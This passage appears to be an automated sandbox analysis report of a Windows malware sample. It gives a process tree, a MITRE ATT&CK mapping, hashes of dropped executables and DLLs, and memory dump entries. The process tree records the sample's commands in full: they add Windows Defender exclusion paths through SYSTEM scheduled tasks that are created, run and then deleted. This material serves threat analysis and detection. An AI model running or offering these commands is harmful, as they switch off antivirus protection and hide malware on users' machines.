    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1576
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4436
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1904
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4292
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3512
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2960
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3576

C:\Users\Public\bN53ba\SG1Vyb.exe
"C:\Users\Public\bN53ba\SG1Vyb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5620

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bN53ba" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bN53ba" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4888

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4424

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5536

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3296

C:\Program Files (x86)\rpztrB\9dErgt.exe
"C:\Program Files (x86)\rpztrB\9dErgt.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4132

C:\Program Files (x86)\rpztrB\9dErgt.exe
"C:\Program Files (x86)\rpztrB\9dErgt.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1820

C:\Program Files (x86)\yO5z7\onnll.exe
"C:\Program Files (x86)\yO5z7\onnll.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3208

C:\Program Files (x86)\rpztrB\9dErgt.exe
"C:\Program Files (x86)\rpztrB\9dErgt.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:692

C:\Program Files (x86)\yO5z7\onnll.exe
"C:\Program Files (x86)\yO5z7\onnll.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:124

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\rpztrB" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3844
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\rpztrB" /t REG_DWORD /d 0 /f
  2⤵
  PID:5060

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3416
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3188
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:4532

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4244
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:5112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4920
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

9dErgt.exe

Path C:\Program Files (x86)\rpztrB\9dErgt.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\rpztrB\XPSPLOG.dll
Size 4.6MB
SHA256 8f80e8a6a3316500fa0ff1333b147442597bb6b4a6387fb0415219644caa78ea
MD5 256deb29842b97f49e947ce5b73e452b
SHA1 bf63ed1d7388203eed380b27bd7f7173cb46b326
SHA512 92adbe77dacf135d58f627724d8f427d1f711d6977c2b1af79437889e55fd9abef803a569f4100e5b7e1e22b751c1d5eeb6d97d87e8e772c4cfe4ef3e4ee7a16
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyC:BMWKfU+BcUTHCCCfqCiUffnC
TLSH
T19F263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\rpztrB\image.png
Size 4.8MB
SHA256 631d75f0eea26063ca9d9bd89204d59562aeaf5bcacc268460d726e39761a9be
MD5 b373512662b6545f3635b68fa1f51d26
SHA1 4738867621b79fbda35ac3a7f9611ab6583a36c6
SHA512 1561f0c218d34049697d5f9f3f22136d59c3096391d98a1650e661bb54537023fc5792ff159e36ffaf2f0839fd8b576f9f899d01b342125f3a6a898a328ff76c
SSDEEP 98304:C/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:CMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T14B36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\rpztrB\thumbs.db
Size 358KB
SHA256 bca80848fdc82e58f10de6d77d4dca017acde6bba9246013d1c0e9406fc96a79
MD5 b9fe441085341ab1a1910c1b8361d50c
SHA1 d659eb5a3253db5b8b7bfb49e8b38c3bdaac1d30
SHA512 4579bb0cf38ea2d170612c681d752e7c380f0a23b62ca1935e88cc958fc2a5f194e08bd73eb52e484b57352dd46ce334fcc46b96de5868910d7dfaeb03690289
SSDEEP 6144:wiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:38u69CghoQxoMTFQqtKFCz7mb/
TLSH
T14974F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\yO5z7\XPSPLOG.dll
Size 4.6MB
SHA256 cebf75ffcdf12ba344da9591485957fe859795bda106d881582ddf246c0db7c7
MD5 6137030938d5d25300b791ba13ff70e2
SHA1 6019958b51707b92c270436191cafa26b08776db
SHA512 3bd5f3a81279beb48e9d2d0eb126340a95f83d79a6f08d704d191548a29df101c36f089c9112ab3eda7778a4ef778c20d61460962743212279a34794632d5520
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyX:BMWKfU+BcUTHCCCfqCiUffnX
TLSH
T149263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\yO5z7\image.png
Size 4.8MB
SHA256 1bada7a276a8f804ded0f518c1490b704f2373ba18c0bcc3e991266d7ba12123
MD5 a89a14e42ae1a0ba8e798ba688f86654
SHA1 7c6962a99d6d3bc7ddf9188ad1a48e9cb56337ec
SHA512 16fcd8000757492b20e4ecffada1c795d6952b9ae9543f1611986b3828c4d2a4398b26607d9ca63f68a3f86acc30b7a3a3a0ba3961bd5b3ed1d14bf8147bb966
SSDEEP 98304:2/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:2MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T19036334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D70B3293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 bce1715cb90f5bcc3c2a25847be990aa2b2e817269d2d9a0a20b9098c6a8f6a7
MD5 4061119162896b8a12a37174d7b44710
SHA1 3eb22fbf3a4e68ff9c69032862aa1c577d1a8400
SHA512 edb9535d55e57f9ad17c7b75a150b2fedbb35e1fe50adad97ab83ca1ad9c7ce4f06e7dcf176d08f0ec805b6cd5fb7f8cb5ec469e34391fdff9a99070e4b30405
TLSH
T12331C9BB1FBC39866B358DA016DAE1232DE8E1906ECA008F5218C0545F4C3B22F1D50C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 e62779aef62479785ef87f7a5c123d71c178b262ff62b78434c2ede7cf47d37a
MD5 306e9978e246a6f183e55f069b884e87
SHA1 f31ee61734ded9dca621b77fbfbc260a11eee171
SHA512 f2041615fbbe42eee76141f77b912bc9a9083298214faba1feb499a2c62c349216ea58c817d30e0991b5faa83a918fdad7a92551da580ff66f8f9f3d647b2f71
TLSH
T16031D8C2CE7A0055AB04ABA652C0E53BACF452A64DE4084D653ED37A5A0FBB76F86405
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 8f01fd9b663b232a3c16f3a6e8220da4380b17576c4f56f9bcc14e57746a26b6
MD5 35ad9fff903df54f7f3a694ec38d9951
SHA1 fce20e674547ce5a6ae25b6d8e991a591646722a
SHA512 c24daef92da67096ed524aff93d8166c4f35156c53b6b0030cdd24e1e8b9c41b300829a4b1a1a2d8148736bd43bf852b195ec3260d99ca297562c39762dac10d
TLSH
T153F0DC280978412EF633EA7886CA3AA2196BE747340685E007E4470DB257E032C91675
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 620ba05cc17af36de991d014138a20890a1c635cf95ac4a263dfff08253c0679
MD5 6040fa548c00c2c1bc47d551138c1c1c
SHA1 2e7d2de392d779cc939c6271aa1480d53e367dd0
SHA512 501f17358fc9faa631df1ebd579c9bc5237000b91512417ee1a55c30fe8f967510d1e6c891642e25d6e62e0e331588382002e5aef042662038cbae233d81187a
TLSH
T12CF05C3A56ED811FF27B81FD4BEA7AB21A67F622154662BF1AA903441ED0D014C8122D
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ef3adf67c3ac71ec69df152926b4a68b10ac834d2db0c52b305b1f121579d0b0
MD5 7105623af6b75327505cfab0b5d89964
SHA1 566c1f04ce7b6bfe973a4f9da25e3c84728809f1
SHA512 1086bd20513f21289937d78b91d2aa52fbf87b8b3dccc794eb27dee7f7bfb9193d3b46ae7b209f5967b2306a806e9e2b6d0ccfa671a6df3907b695f98a7237b8
TLSH
T112216833B3DD8624C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A42F699CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 62d4b223f5d7a4760161c940b7fca0edc5a3067a9087d5b4fb8864681ee12f8c
MD5 5100b0d153906040b73c94fad8bc3b84
SHA1 d302319964a95fe62374032ffb67daed10712584
SHA512 25d5ec7833864d817bbd128cbdaed406324175ae8ff25cc646576542c2d2ad47e24a91c7a97619a102f31911440ba40f22357f10ac314f47e4062382d5a2a17f
SSDEEP 384:ySEboT1iBbay4bJS9tSx+SeCqr2PnNIAbk4EWFWtV4lCItbhNqbKmRvZuxswubtt:m0Z6barlS9Ux+b6lIAbkHWcDObhNqbjD
TLSH
T18CA2C878203F5DC7D8D116B050D20AE7FBE4D44A9AF65198BF2BDF2E4C90EB64E60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_l1arbhkz.et4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1arbhkz.et4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

SG1Vyb.exe

Path C:\Users\Public\bN53ba\SG1Vyb.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\bN53ba\UxEnhance64.dll
Size 3.1MB
SHA256 85fd836f9cf29e2e7cf1ce5e84b6466550fcfce1f255705b8cf1c39f7c958f65
MD5 bb4c3524602aacd28215d8af407bc799
SHA1 37191db5df2e4f15aae99e8caad2a135d06c7c7e
SHA512 8fb5ebdb6908b7a9140203a4557aeb445d9056ee97956810e9951b16fe2864d0ba4148be14eb44652a01ff490ab7e884ad389aaa238f3cf20026fb1076fe0e04
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+5:P9m29xx3Tiqt06ox6+z2rNNrKo5
TLSH
T1CEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\bN53ba\adoresd.dat
Size 4.8MB
SHA256 d8705d7dbd5e5e1e6fbb0a090c062bf386e9c24eded0d7e88466fa30592bfb40
MD5 6a62b69cad547d8208137ad9bfb04fa8
SHA1 35d20d963ee7ceae3e8145003361003e0db04f0f
SHA512 13d262cee533480c5e9511f8be1b7527f85403026daf852b725fe1ecb7bc30b1167d00ccab21c3aad552836ff98ae666ba849a9c145515551daed784c86c9e3c
SSDEEP 98304:nWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:nWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1233633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\bN53ba\msadox.tb
Size 8KB
SHA256 580d7bbb202fd199cd3407ff792320b1be4ef9c3abbe0d15ac6b498fb420fe47
MD5 9a1afb1d7c710d1964cf8407abac932e
SHA1 b2ff38a6be9142a8b13641b1860f32387b93d94f
SHA512 52a9accacb5bd1d5f76da8815718c1fa05ef37407335e5ac88394a994c385a3f1291e48baa6384fb1a8160704620ba88711f213803945723b798bb756cbbe1da
SSDEEP 192:lqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:lsZqZOXQ3uqvR2Kfzp
TLSH
T138029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/124-774-0x0000000073590000-0x0000000073CDA000-memory.dmp

Download

memory/124-773-0x0000000000F00000-0x0000000000F01000-memory.dmp

Download

memory/124-779-0x00000000035F0000-0x0000000003DCD000-memory.dmp

Download

memory/124-782-0x0000000000F20000-0x0000000000F21000-memory.dmp

Download

memory/124-783-0x00000000035F0000-0x0000000003DCD000-memory.dmp

Download

memory/124-786-0x0000000000F00000-0x0000000000F01000-memory.dmp

Download

memory/264-568-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-533-0x00007FFF2E0D0000-0x00007FFF2E5EE000-memory.dmp

Download

memory/264-566-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-546-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-569-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-560-0x000001F97BBB0000-0x000001F97BBFE000-memory.dmp

Download

memory/264-561-0x000001F97D2C0000-0x000001F97D34A000-memory.dmp

Download

memory/264-562-0x000001F97D2C0000-0x000001F97D34A000-memory.dmp

Download

memory/264-563-0x000001F97D2C0000-0x000001F97D34A000-memory.dmp

Download

memory/264-683-0x000001F97F050000-0x000001F97F0FE000-memory.dmp

Download

memory/264-547-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-540-0x00007FFF50FE0000-0x00007FFF50FE2000-memory.dmp

Download

memory/264-541-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-532-0x00007FFF50FD0000-0x00007FFF50FD2000-memory.dmp

Download

memory/264-552-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-548-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-538-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-558-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-545-0x000001F97C6A0000-0x000001F97CF77000-memory.dmp

Download

memory/264-564-0x000001F97D2C0000-0x000001F97D34A000-memory.dmp

Download

memory/692-769-0x00000000016A0000-0x00000000016A1000-memory.dmp

Download

memory/692-770-0x0000000074970000-0x00000000750BA000-memory.dmp

Download

memory/692-777-0x0000000003AE0000-0x00000000042BD000-memory.dmp

Download

memory/692-787-0x00000000016C0000-0x00000000016C1000-memory.dmp

Download

memory/692-788-0x0000000003AE0000-0x00000000042BD000-memory.dmp

Download

memory/692-791-0x00000000016A0000-0x00000000016A1000-memory.dmp

Download

memory/1820-738-0x0000000000F70000-0x0000000000F71000-memory.dmp

Download

memory/1820-739-0x0000000074970000-0x00000000750BA000-memory.dmp

Download

memory/2404-822-0x000000006F770000-0x000000006F7BC000-memory.dmp

Download

memory/2404-825-0x00000000071A0000-0x00000000071B1000-memory.dmp

Download

memory/2772-606-0x00000212B2910000-0x00000212B29C2000-memory.dmp

Download

memory/2772-607-0x00000212B29D0000-0x00000212B29DA000-memory.dmp

Download

memory/2772-600-0x00000212B28A0000-0x00000212B28C2000-memory.dmp

Download

memory/2772-605-0x00000212B28F0000-0x00000212B290E000-memory.dmp

Download

memory/3208-757-0x0000000000A20000-0x0000000000A21000-memory.dmp

Download

memory/3208-754-0x00000000030C0000-0x000000000389D000-memory.dmp

Download

memory/3208-753-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/3208-751-0x00000000030C0000-0x000000000389D000-memory.dmp

Download

memory/3208-747-0x0000000073590000-0x0000000073CDA000-memory.dmp

Download

memory/3208-746-0x0000000000A20000-0x0000000000A21000-memory.dmp

Download

memory/4132-734-0x0000000074970000-0x00000000750BA000-memory.dmp

Download

memory/4132-733-0x0000000000D30000-0x0000000000D31000-memory.dmp

Download

memory/4828-714-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/4828-689-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/4828-744-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/4828-725-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/4828-684-0x00000000027A0000-0x00000000027A1000-memory.dmp

Download

memory/4828-677-0x0000000074970000-0x00000000750BA000-memory.dmp

Download

memory/4828-710-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/4828-681-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/4828-698-0x0000000002860000-0x0000000002874000-memory.dmp

Download

memory/4828-676-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Download

memory/4828-761-0x0000000005310000-0x000000000534D000-memory.dmp

Download

memory/4828-685-0x0000000003420000-0x0000000003BFD000-memory.dmp

Download

memory/5060-1-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5060-0-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5060-2-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/5060-526-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5060-504-0x00007FFF41F70000-0x00007FFF41F82000-memory.dmp

Download

memory/5060-527-0x00007FFF41F70000-0x00007FFF41F82000-memory.dmp

Download

memory/5104-804-0x0000000005820000-0x0000000005886000-memory.dmp

Download

memory/5104-808-0x0000000005E70000-0x0000000005EBC000-memory.dmp

Download

memory/5104-818-0x0000000007330000-0x00000000073C6000-memory.dmp

Download

memory/5104-817-0x0000000007130000-0x000000000713A000-memory.dmp

Download

memory/5104-816-0x00000000070C0000-0x00000000070DA000-memory.dmp

Download

